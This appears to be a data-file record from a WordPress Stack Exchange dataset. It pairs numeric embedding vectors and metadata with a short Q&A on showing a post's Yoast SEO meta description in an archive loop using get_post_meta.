0.021697998046875,
-0.0224151611328125,
-0.037139892578125,
-0.0022373199462890625,
0.0222930908203125,
0.013153076171875,
-0.0081329345703125,
-0.0033245086669921875,
-0.00479888916015625,
-0.03857421875,
0.055694580078125,
0.1614990234375,
0.0203704833984375,
0.101318359375,
0.043914794921875,
0.0175323486328125,
0.08819580078125,
-0.0019426345825195312,
-0.016754150390625,
0.0015516281127929688,
0.0015802383422851562,
-0.0181732177734375,
-0.000007867813110351562,
-0.0024394989013671875,
0.001434326171875,
0.002658843994140625,
0.0197906494140625,
0.047454833984375,
-0.05133056640625,
0.0029239654541015625,
0.0236358642578125,
0.00576019287109375,
-0.0004107952117919922,
0.007312774658203125,
-0.0360107421875,
-0.0272674560546875,
-0.014007568359375,
-0.000011742115020751953,
-0.0391845703125,
-0.00514984130859375,
0.0396728515625,
0.01354217529296875,
0.001499176025390625,
0.038116455078125,
-0.0088958740234375,
-0.0244293212890625,
-0.046112060546875,
0.01560211181640625,
-0.020721435546875,
-0.0248870849609375,
-0.0063629150390625,
0.0272216796875,
-0.02703857421875,
-0.05133056640625,
0.0303955078125,
-0.0275726318359375,
-0.005626678466796875,
-0.033935546875,
0.020294189453125,
0.01386260986328125,
0.03631591796875,
-0.004795074462890625,
-0.03173828125,
0.0333251953125,
-0.0157623291015625,
0.063720703125,
-0.02996826171875,
-0.00811004638671875,
0.0239715576171875,
-0.02392578125,
-0.00025391578674316406,
0.013427734375,
0.0013942718505859375,
-0.01239776611328125,
0.01110076904296875,
0.09356689453125,
-0.04754638671875,
-0.025146484375,
0.0297088623046875,
-0.013092041015625,
-0.03363037109375,
-0.0011739730834960938,
0.00218963623046875,
-0.03228759765625,
0.005023956298828125,
-0.01025390625,
-0.035125732421875,
-0.0020503997802734375,
-0.0389404296875,
-0.07049560546875,
0.061309814453125,
0.0006823539733886719,
0.0210723876953125,
0.010650634765625,
0.029449462890625,
-0.012420654296875,
-0.01100921630859375,
-0.038818359375,
0.04998779296875,
0.047271728515625,
0.0701904296875,
-0.06207275390625,
-0.03662109375,
0.036407470703125,
0.07012939453125,
0.044342041015625,
0.0137176513671875,
-0.01355743408203125,
0.00580596923828125,
0.04254150390625,
0.00833892822265625,
-0.0268402099609375,
0.0311279296875,
0.037384033203125,
0.00908660888671875,
0.08367919921875,
-0.01522064208984375,
0.0210113525390625,
-0.009307861328125,
0.039459228515625,
0.041900634765625,
-0.002735137939453125,
-0.01508331298828125,
0.021942138671875,
-0.0036220550537109375,
-0.0643310546875,
0.01800537109375,
0.0345458984375,
-0.00678253173828125,
0.0171356201171875,
0.032196044921875,
0.0673828125,
-0.045867919921875,
-0.05633544921875,
-0.00675201416015625,
0.044830322265625,
0.0213775634765625,
0.0148773193359375,
0.0452880859375,
0.030487060546875,
0.06463623046875,
0.013916015625,
0.013336181640625,
0.03009033203125,
0.006378173828125,
0.0811767578125,
0.0283660888671875,
0.01184844970703125,
-0.06268310546875,
-0.001987457275390625,
0.07080078125,
0.10821533203125,
-0.059417724609375,
-0.03466796875,
0.0071258544921875,
-0.00154876708984375,
-0.007541656494140625,
-0.004306793212890625,
0.00016438961029052734,
-0.01247406005859375,
0.015899658203125,
-0.0296173095703125,
-0.0015192031860351562,
0.0236358642578125,
0.0284576416015625,
-0.0121307373046875,
0.0050048828125,
-0.03173828125,
-0.005458831787109375,
-0.0267791748046875,
-0.01522064208984375,
0.0098876953125,
0.041656494140625,
0.0188446044921875,
0.0067901611328125,
-0.020111083984375,
-0.022735595703125,
0.0053253173828125,
0.0128021240234375,
-0.002117156982421875,
-0.01541900634765625,
0.0031185150146484375,
-0.00855255126953125,
-0.0272064208984375,
0.021270751953125,
0.0263671875,
0.024017333984375,
0.03411865234375,
0.0189666748046875,
-0.0023651123046875,
0.0008668899536132812,
0.06365966796875,
-0.01145172119140625,
0.05694580078125,
-0.03656005859375,
0.018890380859375,
-0.01294708251953125,
-0.0110321044921875,
-0.0682373046875,
-0.0022602081298828125,
0.0284576416015625,
-0.0183563232421875,
0.0682373046875,
-0.011199951171875,
0.01264190673828125,
0.0056610107421875,
-0.03765869140625,
0.033416748046875,
0.0101470947265625,
-0.0750732421875,
-0.0036754608154296875,
-0.03857421875,
-0.0748291015625,
0.0499267578125,
0.058624267578125,
-0.00807952880859375,
0.001495361328125,
-0.0285186767578125,
0.034332275390625,
-0.0062408447265625,
-0.0394287109375,
0.015716552734375,
-0.05169677734375,
0.0032405853271484375,
-0.021392822265625,
-0.02960205078125,
-0.005298614501953125,
0.005596160888671875,
0.000827789306640625,
0.00019347667694091797,
0.05316162109375,
0.0029850006103515625,
-0.00283050537109375,
-0.01012420654296875,
0.035064697265625,
-0.0160064697265625,
-0.0160675048828125,
0.0287322998046875,
0.00891876220703125,
0.0038471221923828125,
-0.0250091552734375,
-0.0128173828125,
0.05206298828125,
0.00457763671875,
0.0102386474609375,
0.02618408203125,
-0.02239990234375,
0.01242828369140625,
0.005771636962890625,
0.033172607421875,
-0.02191162109375,
-0.008941650390625,
0.01399993896484375,
0.0025119781494140625,
0.0059051513671875,
-0.00412750244140625,
-0.0298004150390625,
0.0279388427734375,
0.048248291015625,
-0.031707763671875,
0.06011962890625,
-0.04998779296875,
0.0928955078125,
0.034576416015625,
0.03729248046875,
0.0009565353393554688,
0.0152587890625,
-0.01317596435546875,
0.038299560546875,
-0.00797271728515625,
0.025238037109375,
0.0229949951171875,
0.00414276123046875,
-0.023895263671875,
-0.062408447265625,
-0.002223968505859375,
-0.007259368896484375,
-0.00870513916015625,
-0.043792724609375,
0.008331298828125,
-0.013427734375,
0.0079345703125,
-0.038726806640625,
-0.02587890625,
0.012939453125,
0.00493621826171875,
0.006908416748046875,
-0.0250091552734375,
-0.054931640625,
0.0091400146484375,
0.032928466796875,
0.001567840576171875,
-0.02154541015625,
-0.0129241943359375,
-0.0198516845703125,
0.03631591796875,
0.0026493072509765625,
-0.0015392303466796875,
0.0185394287109375,
0.051239013671875,
-0.0308685302734375,
0.014495849609375,
-0.0181121826171875,
-0.0343017578125,
0.0027942657470703125,
0.028778076171875,
0.05267333984375,
-0.0078277587890625,
-0.028717041015625,
0.0261383056640625,
-0.006504058837890625,
0.08526611328125,
-0.05108642578125,
-0.01715087890625,
0.0111236572265625,
0.0085601806640625,
-0.01910400390625,
-0.0240020751953125,
-0.0023040771484375,
0.01338958740234375,
0.0178680419921875,
-0.00540924072265625,
-0.0163421630859375,
-0.0123291015625,
-0.048828125,
-0.05963134765625,
0.06939697265625,
0.00524139404296875,
-0.0240020751953125,
0.005435943603515625,
-0.006389617919921875,
0.005222320556640625,
-0.00008618831634521484,
-0.00843048095703125,
0.00408172607421875,
-0.0445556640625,
-0.017486572265625,
0.0207672119140625,
0.043853759765625,
0.01068115234375,
0.002368927001953125,
-0.06671142578125,
0.001079559326171875,
-0.0262603759765625,
0.0205230712890625,
0.01494598388671875,
-0.02099609375,
0.031280517578125,
0.01544952392578125,
-0.047607421875,
-0.0272064208984375,
-0.017852783203125,
0.004421234130859375,
-0.0183258056640625,
-0.041656494140625,
0.00409698486328125,
-0.013671875,
0.05352783203125,
0.0214385986328125,
-0.0054473876953125,
-0.022247314453125,
-0.023223876953125,
-0.00494384765625,
-0.006122589111328125,
-0.00450897216796875,
0.0167388916015625,
-0.05621337890625,
-0.0191497802734375,
-0.008392333984375,
-0.0210723876953125,
0.006816864013671875,
-0.00913238525390625,
-0.043609619140625,
0.01297760009765625,
-0.0007963180541992188,
0.0033092498779296875,
-0.0264739990234375,
0.0025634765625,
0.031646728515625,
-0.016754150390625,
0.0243377685546875,
-0.0227813720703125,
0.029571533203125,
0.023223876953125,
-0.0338134765625,
-0.0119476318359375,
0.04974365234375,
0.012725830078125,
0.0090179443359375,
0.0274810791015625,
-0.0004696846008300781,
0.004558563232421875,
0.0211639404296875,
-0.03436279296875,
0.00543975830078125,
0.0034637451171875,
-0.001003265380859375,
-0.0223236083984375,
0.035400390625,
0.0117645263671875,
0.0014581680297851562,
-0.011138916015625,
0.0258941650390625,
0.0009145736694335938,
0.0199737548828125,
-0.031829833984375,
-0.0019855499267578125,
0.02911376953125,
-0.07415771484375,
-0.003170013427734375,
0.0172271728515625,
-0.0121002197265625,
-0.043548583984375,
0.01837158203125,
-0.00946807861328125,
0.0153350830078125,
0.0170745849609375
] |
cecbafa44e43785c04306f8b7d95cdbd0d91a057
|
Wordpress Stackexchange
Q: How to display Yoast SEO meta description in archive template for each post instead of the_excerpt()? I read this question but it wasn't what I was looking for exactly. I'm new to Wordpress and a little confuse with the functions and everything.
How can I get the metadescription in the loop for each post?
Thanks !
A: Add the following code in the archive template loop to display Yoast SEO meta description for each post.
echo get_post_meta(get_the_ID(), '_yoast_wpseo_metadesc', true);
|
Q: How to display Yoast SEO meta description in archive template for each post instead of the_excerpt()? I read this question but it wasn't what I was looking for exactly. I'm new to Wordpress and a little confuse with the functions and everything.
How can I get the metadescription in the loop for each post?
Thanks !
A: Add the following code in the archive template loop to display Yoast SEO meta description for each post.
echo get_post_meta(get_the_ID(), '_yoast_wpseo_metadesc', true);
|
wordpress
|
{
"language": "en",
"length": 80,
"provenance": "stackexchange_00019.jsonl.gz:436255",
"question_score": "31",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/111556"
}
|
[
0.044342041015625,
0.004009246826171875,
0.0208282470703125,
0.0271759033203125,
0.005802154541015625,
-0.03179931640625,
0.059295654296875,
-0.054901123046875,
0.023681640625,
0.048614501953125,
0.0017194747924804688,
-0.0189971923828125,
0.0242767333984375,
-0.0166778564453125,
-0.044036865234375,
-0.005207061767578125,
0.0455322265625,
-0.01239776611328125,
0.029205322265625,
0.00585174560546875,
0.00434112548828125,
0.034027099609375,
0.01044464111328125,
0.01580810546875,
0.001682281494140625,
-0.0158538818359375,
0.07257080078125,
0.00504302978515625,
-0.0169677734375,
-0.005298614501953125,
0.01139068603515625,
-0.01457977294921875,
0.01187896728515625,
-0.01605224609375,
0.018035888671875,
-0.00902557373046875,
0.0007758140563964844,
0.00466156005859375,
0.002971649169921875,
-0.0081787109375,
-0.0011730194091796875,
0.007343292236328125,
0.055999755859375,
-0.0254974365234375,
0.00969696044921875,
-0.004894256591796875,
-0.010894775390625,
-0.05609130859375,
0.01041412353515625,
0.017333984375,
0.01065826416015625,
0.036041259765625,
0.0230255126953125,
-0.0214996337890625,
0.004180908203125,
0.01230621337890625,
0.0028476715087890625,
0.00982666015625,
0.0196075439453125,
-0.02972412109375,
-0.029144287109375,
0.0236968994140625,
0.0209808349609375,
0.018463134765625,
-0.0152587890625,
0.002376556396484375,
-0.0209197998046875,
0.019378662109375,
-0.05633544921875,
-0.0241241455078125,
0.024932861328125,
-0.03857421875,
-0.009521484375,
-0.029083251953125,
-0.0210418701171875,
-0.00963592529296875,
0.01053619384765625,
-0.040924072265625,
-0.00730133056640625,
0.004528045654296875,
0.0260162353515625,
-0.038848876953125,
-0.00577545166015625,
-0.0205078125,
0.0164642333984375,
-0.005084991455078125,
0.005832672119140625,
-0.0144195556640625,
-0.0309600830078125,
-0.032867431640625,
-0.015838623046875,
-0.04803466796875,
-0.03436279296875,
-0.00472259521484375,
-0.00389862060546875,
-0.044403076171875,
0.01214599609375,
0.06915283203125,
-0.021820068359375,
-0.00196075439453125,
-0.023040771484375,
-0.019927978515625,
0.01143646240234375,
-0.042755126953125,
-0.007595062255859375,
-0.01471710205078125,
-0.004238128662109375,
0.036041259765625,
0.046051025390625,
0.051177978515625,
-0.0229949951171875,
0.03240966796875,
-0.0447998046875,
-0.04559326171875,
-0.0189361572265625,
0.054168701171875,
-0.03985595703125,
-0.0023021697998046875,
0.00783538818359375,
-0.01922607421875,
0.0304412841796875,
0.031524658203125,
0.0784912109375,
-0.038787841796875,
-0.0279083251953125,
0.0038242340087890625,
-0.049072265625,
-0.09332275390625,
0.028076171875,
0.006389617919921875,
-0.0211944580078125,
0.00870513916015625,
0.0160369873046875,
0.004405975341796875,
-0.0120391845703125,
-0.00505828857421875,
-0.01221466064453125,
-0.01812744140625,
-0.01541900634765625,
0.0277557373046875,
-0.045806884765625,
-0.052520751953125,
0.01378631591796875,
-0.0296173095703125,
-0.0234832763671875,
0.02044677734375,
0.03302001953125,
0.01386260986328125,
-0.00800323486328125,
-0.05108642578125,
-0.041229248046875,
0.0309295654296875,
0.0309600830078125,
-0.0113372802734375,
-0.0003066062927246094,
-0.058746337890625,
0.004856109619140625,
-0.032684326171875,
0.0281982421875,
-0.03662109375,
0.0165252685546875,
0.0033206939697265625,
0.0016689300537109375,
0.0092010498046875,
-0.0294647216796875,
-0.006397247314453125,
0.00510406494140625,
-0.0128936767578125,
0.0223388671875,
0.06622314453125,
0.0032215118408203125,
-0.0269927978515625,
-0.0148468017578125,
-0.01369476318359375,
-0.032623291015625,
-0.004512786865234375,
-0.01071929931640625,
0.00673675537109375,
0.018310546875,
-0.01345062255859375,
-0.0219879150390625,
-0.037261962890625,
0.041778564453125,
-0.01074981689453125,
-0.0404052734375,
0.0279693603515625,
0.00994110107421875,
0.045135498046875,
0.01117706298828125,
0.0200958251953125,
0.01947021484375,
0.021820068359375,
0.0052337646484375,
0.016265869140625,
0.01143646240234375,
-0.055206298828125,
-0.004241943359375,
-0.02667236328125,
0.0007357597351074219,
-0.007205963134765625,
0.017303466796875,
0.0013027191162109375,
-0.0100860595703125,
0.011474609375,
-0.037994384765625,
0.0097808837890625,
-0.01776123046875,
0.0207061767578125,
0.0003161430358886719,
0.044525146484375,
0.005634307861328125,
-0.0186309814453125,
0.005748748779296875,
-0.019378662109375,
-0.0243377685546875,
-0.0362548828125,
-0.02728271484375,
-0.005767822265625,
0.0031681060791015625,
-0.0007352828979492188,
0.01447296142578125,
-0.012451171875,
0.0016469955444335938,
0.0179443359375,
0.0826416015625,
0.00458526611328125,
-0.021881103515625,
-0.027435302734375,
0.0377197265625,
0.0013208389282226562,
-0.044677734375,
0.05523681640625,
0.040740966796875,
0.0022525787353515625,
-0.00811004638671875,
0.0250244140625,
0.054840087890625,
-0.06805419921875,
-0.020721435546875,
0.04693603515625,
0.0151214599609375,
0.0217132568359375,
-0.0276336669921875,
0.016815185546875,
0.07122802734375,
-0.0117950439453125,
-0.00965118408203125,
0.0260467529296875,
-0.00994873046875,
0.01235198974609375,
0.0016574859619140625,
0.01374053955078125,
0.0103912353515625,
-0.0635986328125,
-0.00722503662109375,
0.039154052734375,
0.01384735107421875,
-0.0259246826171875,
0.005992889404296875,
0.033843994140625,
0.004299163818359375,
0.048309326171875,
-0.021148681640625,
0.0220794677734375,
0.0794677734375,
0.0438232421875,
0.088134765625,
0.0631103515625,
-0.08856201171875,
0.040130615234375,
0.0274505615234375,
0.11407470703125,
0.0156402587890625,
0.02655029296875,
-0.0343017578125,
0.0301971435546875,
-0.0361328125,
0.004543304443359375,
0.0095062255859375,
0.01385498046875,
0.036529541015625,
0.02508544921875,
0.0103302001953125,
0.006683349609375,
0.0291290283203125,
-0.08416748046875,
-0.007602691650390625,
0.0455322265625,
0.032562255859375,
0.0302276611328125,
0.0226593017578125,
0.04718017578125,
0.007083892822265625,
0.0364990234375,
0.01139068603515625,
0.00366973876953125,
-0.032073974609375,
-0.0540771484375,
0.04791259765625,
-0.0423583984375,
0.0489501953125,
0.0692138671875,
-0.033905029296875,
0.04583740234375,
-0.0129241943359375,
-0.03033447265625,
-0.031951904296875,
0.040679931640625,
-0.0015802383422851562,
-0.0244903564453125,
-0.0484619140625,
0.0087432861328125,
0.01235198974609375,
0.016815185546875,
0.01172637939453125,
-0.002590179443359375,
0.00778961181640625,
0.0176849365234375,
-0.06707763671875,
-0.0789794921875,
0.0504150390625,
-0.0850830078125,
-0.017974853515625,
-0.03466796875,
-0.0706787109375,
-0.02178955078125,
0.0030517578125,
-0.0095062255859375,
0.0019044876098632812,
-0.031341552734375,
-0.0867919921875,
-0.09185791015625,
-0.11798095703125,
-0.062255859375,
-0.005504608154296875,
0.01557159423828125,
0.0109405517578125,
0.0195465087890625,
0.0157470703125,
-0.01161956787109375,
0.040191650390625,
0.04254150390625,
-0.0159149169921875,
0.00881195068359375,
-0.00496673583984375,
-0.014007568359375,
0.0264129638671875,
0.00885009765625,
0.01325225830078125,
0.0213470458984375,
-0.018218994140625,
-0.00980377197265625,
0.00478363037109375,
0.0237884521484375,
0.052978515625,
-0.0300140380859375,
-0.034515380859375,
0.04449462890625,
0.02410888671875,
-0.015869140625,
-0.0411376953125,
0.00664520263671875,
-0.049163818359375,
-0.033111572265625,
0.0137176513671875,
0.0037822723388671875,
-0.03167724609375,
0.0225677490234375,
-0.00798797607421875,
-0.00858306884765625,
0.0537109375,
-0.04559326171875,
0.01024627685546875,
-0.0126953125,
-0.0105133056640625,
-0.0227203369140625,
0.046417236328125,
-0.0018177032470703125,
-0.00359344482421875,
0.01404571533203125,
0.032684326171875,
0.0011415481567382812,
0.0160369873046875,
-0.0167083740234375,
-0.0051116943359375,
0.02239990234375,
-0.01200103759765625,
0.0227203369140625,
-0.029083251953125,
-0.01253509521484375,
-0.026123046875,
0.034759521484375,
0.0099334716796875,
-0.0230712890625,
0.00864410400390625,
-0.0188446044921875,
0.011688232421875,
0.038909912109375,
-0.0272674560546875,
-0.0156402587890625,
-0.10345458984375,
0.00777435302734375,
-0.00101470947265625,
-0.039337158203125,
-0.0185546875,
0.011566162109375,
-0.056610107421875,
-0.04388427734375,
0.01030731201171875,
0.0189056396484375,
0.004947662353515625,
-0.024566650390625,
-0.01226806640625,
-0.01629638671875,
0.0004906654357910156,
-0.0177154541015625,
-0.061065673828125,
-0.0173187255859375,
-0.0028400421142578125,
0.06207275390625,
0.015625,
-0.0185699462890625,
-0.0067291259765625,
0.032501220703125,
0.0171661376953125,
0.0239715576171875,
-0.0082244873046875,
0.0007338523864746094,
-0.0012683868408203125,
-0.05035400390625,
-0.0030975341796875,
-0.0377197265625,
-0.00445556640625,
-0.0158538818359375,
-0.030426025390625,
0.0026073455810546875,
-0.0268096923828125,
0.022552490234375,
0.017181396484375,
-0.01157379150390625,
-0.051727294921875,
-0.036041259765625,
0.00713348388671875,
0.0246734619140625,
0.018280029296875,
-0.01421356201171875,
-0.051727294921875,
-0.04248046875,
0.03106689453125,
0.0440673828125,
-0.0439453125,
0.0023517608642578125,
0.0233306884765625,
0.024322509765625,
-0.034027099609375,
-0.0562744140625,
0.00841522216796875,
0.018829345703125,
-0.02679443359375,
0.0487060546875,
0.01666259765625,
-0.0021305084228515625,
0.041595458984375,
-0.022369384765625,
-0.0304718017578125,
0.01446533203125,
0.028594970703125,
0.01049041748046875,
-0.040802001953125,
0.029754638671875,
-0.0138092041015625,
0.0262451171875,
-0.0139617919921875,
-0.008453369140625,
-0.0091705322265625,
-0.024566650390625,
0.049530029296875,
0.00412750244140625,
0.03076171875,
-0.03582763671875,
-0.032684326171875,
0.006046295166015625,
0.031951904296875,
0.029754638671875,
0.0389404296875,
-0.01129913330078125,
0.0270233154296875,
-0.001987457275390625,
-0.0153656005859375,
-0.0284576416015625,
-0.0009775161743164062,
-0.03021240234375,
0.00012385845184326172,
-0.0202484130859375,
-0.03155517578125,
-0.016448974609375,
-0.01491546630859375,
0.0465087890625,
-0.021942138671875,
-0.069091796875,
0.0210113525390625,
-0.01361846923828125,
0.052947998046875,
0.039520263671875,
0.00843048095703125,
0.049102783203125,
0.036712646484375,
-0.0251922607421875,
-0.03253173828125,
-0.0233001708984375,
0.0107879638671875,
-0.06390380859375,
0.0019025802612304688,
-0.00411224365234375,
-0.0013895034790039062,
-0.0105133056640625,
0.08978271484375,
-0.0247650146484375,
0.050537109375,
-0.0220947265625,
-0.026763916015625,
-0.027313232421875,
0.053497314453125,
0.047119140625,
-0.045623779296875,
-0.0206146240234375,
0.038604736328125,
0.00653839111328125,
-0.037567138671875,
0.01448822021484375,
0.032928466796875,
0.029266357421875,
0.007053375244140625,
-0.036376953125,
-0.003093719482421875,
-0.033294677734375,
0.01360321044921875,
0.030059814453125,
0.00023996829986572266,
-0.0188446044921875,
-0.0140228271484375,
-0.005786895751953125,
0.029388427734375,
-0.0207366943359375,
-0.0035572052001953125,
-0.00014221668243408203,
0.00823974609375,
0.033111572265625,
-0.044830322265625,
-0.0147857666015625,
0.0140228271484375,
0.0150299072265625,
-0.011138916015625,
-0.0024261474609375,
-0.01548004150390625,
-0.0283203125,
-0.0270538330078125,
-0.003040313720703125,
-0.009613037109375,
0.0411376953125,
-0.0345458984375,
0.0225982666015625,
-0.01485443115234375,
0.004894256591796875,
0.0005965232849121094,
0.034027099609375,
0.02008056640625,
0.015289306640625,
-0.029571533203125,
0.0097503662109375,
-0.0457763671875,
-0.01331329345703125,
-0.0225677490234375,
-0.047332763671875,
-0.033172607421875,
-0.00701904296875,
-0.0083160400390625,
-0.00868988037109375,
0.0216064453125,
0.056396484375,
0.007396697998046875,
0.0595703125,
-0.0136566162109375,
0.04949951171875,
-0.0265350341796875,
0.058013916015625,
0.02044677734375,
0.035308837890625,
0.0017156600952148438,
0.0172119140625,
-0.0279693603515625,
0.00106048583984375,
0.0154876708984375,
-0.05810546875,
-0.039764404296875,
-0.005664825439453125,
-0.071533203125,
0.0171356201171875,
0.018280029296875,
0.0011358261108398438,
-0.01067352294921875,
-0.01415252685546875,
0.0005736351013183594,
-0.0241241455078125,
0.0268096923828125,
-0.00247955322265625,
-0.00846099853515625,
0.0034656524658203125,
-0.007373809814453125,
0.024505615234375,
0.01137542724609375,
-0.042694091796875,
0.050079345703125,
-0.007053375244140625,
0.05718994140625,
-0.0156707763671875,
-0.044891357421875,
0.066162109375,
0.056243896484375,
0.0302886962890625,
0.04327392578125,
-0.0073394775390625,
0.0218505859375,
0.0003113746643066406,
-0.00543212890625,
0.00800323486328125,
0.00582122802734375,
0.06439208984375,
0.0049591064453125,
0.0018663406372070312,
0.05572509765625,
-0.030975341796875,
0.00783538818359375,
0.011871337890625,
0.039642333984375,
-0.042144775390625,
0.01111602783203125,
0.030548095703125,
-0.01546478271484375,
0.0012187957763671875,
0.0186920166015625,
-0.025238037109375,
-0.03302001953125,
-0.0130157470703125,
-0.0129852294921875,
-0.01971435546875,
-0.01261138916015625,
0.006198883056640625,
-0.00023221969604492188,
-0.00493621826171875,
0.01497650146484375,
0.0175628662109375,
-0.058624267578125,
0.0166473388671875,
0.051025390625,
0.0165557861328125,
-0.029510498046875,
0.004314422607421875,
-0.0157470703125,
0.014984130859375,
-0.03582763671875,
0.02703857421875,
-0.039459228515625,
0.02899169921875,
-0.0016508102416992188,
0.06256103515625,
0.0163421630859375,
0.051483154296875,
0.0164337158203125,
-0.0189971923828125,
0.00981903076171875,
0.01441192626953125,
-0.039825439453125,
-0.0452880859375,
-0.0179901123046875,
0.04791259765625,
0.0223541259765625,
0.031341552734375,
0.0255584716796875,
-0.042083740234375,
-0.02215576171875,
-0.020904541015625,
0.059234619140625,
-0.00200653076171875,
-0.02215576171875,
0.038726806640625,
0.036376953125,
-0.0232391357421875,
0.007488250732421875,
0.053985595703125,
-0.044769287109375,
0.0157318115234375,
0.043182373046875,
0.04193115234375,
-0.0513916015625,
0.0191650390625,
-0.06561279296875,
0.063232421875,
0.029510498046875,
0.0137481689453125,
0.00043654441833496094,
0.0177154541015625,
-0.034271240234375,
-0.0098724365234375,
-0.03125,
0.049102783203125,
-0.0033931732177734375,
0.0352783203125,
-0.052642822265625,
-0.023529052734375,
-0.0007910728454589844,
0.059661865234375,
0.01019287109375,
0.0080108642578125,
-0.0301361083984375,
-0.028228759765625,
-0.0021038055419921875,
0.024688720703125,
-0.014923095703125,
0.0430908203125,
0.0049591064453125,
0.006988525390625,
0.032867431640625,
-0.0308837890625,
0.0157623291015625,
-0.004833221435546875,
-0.005779266357421875,
0.033477783203125,
0.0057373046875,
-0.021575927734375,
0.01457977294921875,
0.01442718505859375,
-0.0489501953125,
0.0018310546875,
0.027801513671875,
-0.03179931640625,
-0.00783538818359375,
0.054718017578125,
0.026641845703125,
-0.0242462158203125,
-0.0211334228515625,
-0.0284271240234375,
0.041229248046875,
-0.0006022453308105469,
0.0290985107421875,
0.0340576171875,
0.023223876953125,
0.056060791015625,
-0.03643798828125,
0.0125885009765625,
0.002689361572265625,
-0.016937255859375,
0.0226898193359375,
0.0238494873046875,
0.015869140625,
-0.039520263671875,
-0.01059722900390625,
0.03692626953125,
0.046356201171875,
-0.02392578125,
0.0034084320068359375,
0.020416259765625,
0.0072784423828125,
-0.0111541748046875,
-0.024749755859375,
-0.0028133392333984375,
0.029296875,
0.0274658203125,
0.0051727294921875,
-0.05316162109375,
-0.03363037109375,
0.045013427734375,
-0.0008196830749511719,
0.0016956329345703125,
0.0259246826171875,
-0.06884765625,
-0.0506591796875,
0.020538330078125,
0.0308837890625,
0.059906005859375,
0.002368927001953125,
0.0615234375,
0.0112762451171875,
-0.021636962890625,
0.0013217926025390625,
0.052337646484375,
-0.005420684814453125,
-0.0073699951171875,
-0.027099609375,
-0.0460205078125,
0.01184844970703125,
0.0245513916015625,
0.009490966796875,
-0.00015723705291748047,
0.01195526123046875,
0.0438232421875,
-0.007244110107421875,
-0.0160675048828125,
0.109130859375,
-0.0002510547637939453,
0.017486572265625,
-0.040618896484375,
0.035430908203125,
0.0302581787109375,
0.0054168701171875,
-0.021392822265625,
0.035919189453125,
0.051788330078125,
-0.0251007080078125,
0.04083251953125,
0.0024547576904296875,
-0.0271148681640625,
0.0196685791015625,
0.0015993118286132812,
0.03399658203125,
0.01554107666015625,
-0.06866455078125,
0.0012216567993164062,
-0.0274658203125,
-0.038909912109375,
0.01617431640625,
0.0244140625,
-0.04681396484375,
0.05706787109375,
-0.0068206787109375,
0.0026302337646484375,
0.02447509765625,
-0.00957489013671875,
-0.009185791015625,
0.01898193359375,
0.0243682861328125,
-0.0166015625,
-0.031463623046875,
-0.019775390625,
-0.006378173828125,
0.0030422210693359375,
0.02752685546875,
0.04541015625,
0.0175018310546875,
0.01459503173828125,
-0.0116424560546875,
0.0224609375,
-0.0280609130859375,
-0.023895263671875,
0.033355712890625,
0.0265045166015625,
0.005138397216796875,
-0.03436279296875,
-0.012359619140625,
0.033416748046875,
0.047607421875,
-0.017608642578125,
0.039215087890625,
0.00382232666015625,
-0.010101318359375,
-0.07867431640625,
0.0172271728515625,
-0.0222930908203125,
-0.0364990234375,
-0.033111572265625,
0.008026123046875,
0.0240020751953125,
0.05487060546875,
-0.0171356201171875,
0.01666259765625,
0.027252197265625,
-0.032684326171875,
0.00621795654296875,
-0.017608642578125,
0.00733184814453125,
0.039276123046875,
0.041473388671875,
0.0307769775390625,
0.0084075927734375,
-0.03302001953125,
0.052703857421875,
-0.0095062255859375,
0.0173797607421875,
-0.0007715225219726562,
0.00276947021484375,
-0.01515960693359375,
-0.018585205078125,
0.02044677734375,
-0.0206298828125,
-0.0098114013671875,
-0.00800323486328125,
-0.003887176513671875,
-0.0222320556640625,
-0.0204925537109375,
-0.045196533203125,
-0.037139892578125,
0.0223388671875,
0.02618408203125,
0.0013217926025390625,
-0.0214691162109375,
-0.054901123046875,
-0.0205841064453125,
0.012969970703125,
-0.007556915283203125,
0.0160980224609375,
-0.019775390625,
-0.00775909423828125,
0.01363372802734375,
0.0010766983032226562,
-0.0372314453125,
0.00873565673828125,
0.042144775390625,
-0.00807952880859375,
-0.0231170654296875,
-0.0264739990234375,
0.0238189697265625,
-0.035369873046875,
-0.017242431640625,
-0.02020263671875,
0.0025463104248046875,
0.0155487060546875,
0.0082550048828125,
-0.007678985595703125,
0.059967041015625,
0.036651611328125,
-0.004009246826171875,
0.01349639892578125,
0.01145172119140625,
-0.01244354248046875,
-0.08367919921875,
-0.0007352828979492188,
-0.0299835205078125,
0.012176513671875,
-0.003879547119140625,
-0.005344390869140625,
0.01204681396484375,
-0.040496826171875,
-0.0633544921875,
0.0899658203125,
-0.014373779296875,
-0.0265655517578125,
0.0182037353515625,
-0.018951416015625,
0.029510498046875,
-0.035888671875,
0.00936126708984375,
-0.0272369384765625,
-0.07171630859375,
-0.038543701171875,
0.036834716796875,
-0.006305694580078125,
0.032867431640625,
0.04193115234375,
-0.01267242431640625,
0.05322265625,
0.033233642578125,
-0.026092529296875,
-0.01291656494140625,
0.0209197998046875,
-0.0244598388671875,
0.021759033203125,
-0.063232421875,
-0.0614013671875,
-0.02655029296875,
0.044403076171875,
0.003765106201171875,
-0.01433563232421875,
-0.032684326171875,
0.006011962890625,
0.032135009765625,
0.06463623046875,
0.00659942626953125,
-0.052032470703125,
0.0290985107421875,
-0.01287078857421875,
-0.050262451171875,
-0.0250244140625,
0.0173797607421875,
-0.06353759765625,
-0.03692626953125,
0.0224456787109375,
-0.0032253265380859375,
-0.00238800048828125,
-0.046875,
-0.0498046875,
-0.017974853515625,
-0.053466796875,
0.0225372314453125,
-0.05755615234375,
-0.01122283935546875,
0.051483154296875,
-0.03564453125,
0.0169830322265625,
-0.0244598388671875,
0.0242919921875,
0.0181427001953125,
-0.037078857421875,
-0.022613525390625,
0.0225830078125,
-0.01910400390625,
-0.01282501220703125,
0.004741668701171875,
0.0134735107421875,
0.00801849365234375,
0.0149383544921875,
-0.01235198974609375,
0.02593994140625,
0.00128936767578125,
0.0308380126953125,
-0.00937652587890625,
0.034393310546875,
0.00925445556640625,
0.034271240234375,
-0.0250091552734375,
0.10028076171875,
0.0005478858947753906,
0.0478515625,
-0.041900634765625,
-0.00717926025390625,
0.00037384033203125,
-0.02825927734375,
0.0079803466796875,
-0.0159912109375,
0.01174163818359375,
-0.0112762451171875,
-0.016845703125,
-0.05560302734375,
-0.002002716064453125,
0.013397216796875
] |
61688b99fb3d1c4f8fe46972695a53cd301f9d6e
|
Wordpress Stackexchange
